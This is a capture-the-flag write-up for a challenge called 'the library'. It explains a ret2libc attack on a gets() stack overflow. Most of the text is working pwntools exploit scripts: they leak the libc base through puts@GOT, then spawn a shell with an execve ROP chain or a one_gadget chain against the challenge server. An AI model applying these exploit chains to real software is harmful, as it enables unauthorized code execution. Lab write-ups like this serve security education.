Comment on page
the library
The library was as simple as ret2libc can be.

The program asks you to guess what book it is thinking about.

The input is copied with gets to a 520 bytes long buffer, so we have yet another stack buffer overflow. To get the exact offset I used gdb:



If you are not used to that concept, the post bellow might help:
To leak libc base we can use rop gadgets to call puts passing a got address as argument.
#!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
io = remote('challenge.ctf.games', 31125)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
After leaking the libc base, it all comes down to calculate the base offset to other gadgets such as system() or a one gadget. A neat way to fly through rop challenges is to just use pwntools.
libc_rop = ROP(libc)
libc_rop.execve(next(libc.search(b'/bin/sh')), 0, 0)
rop = 552*'A'
rop += libc_rop.chain()
io.sendline(rop)
io.interactive()
Although, if you are trying to learn about rop I think you should try to manually craft a rop chain, one way of doing it in the challenge is using a one gadget.

A few are available but we would have to set some registers to NULL.

In this case, r15 is already 0 when our payload is executed, so setting either rsi, rdx or r12 to 0 should get our one gadget to work.

This gadget should do it.
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
#!/usr/bin/env python
from pwn import *
# Definitions
e = context.binary = ELF('./the_library',checksec=False)
libc = ELF('./libc-2.31.so',checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games', 31125)
else:
io = process(e.path)
rop = 552*'A'
rop += p64(0x401493) # pop rdi; ret
rop += p64(e.got['puts'])
rop += p64(0x4010e0) # puts@plt
rop += p64(e.sym['main'])
io.recvrepeat(0.03)
io.sendline(rop)
io.recvuntil('Wrong :(')
io.recvline()
leak = u64(io.recv()[:6].ljust(8,'\x00'))
libc.address = leak - libc.sym['puts']
log.success('Libc: ' + hex(libc.address))
rop = 552*'A'
rop += p64(0x40148c) # r12; r13; r14; r15 = 0
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(0)
rop += p64(libc.address + 0xe6c7e) # one_gadget
io.sendline(rop)
io.interactive()
Last modified 2yr ago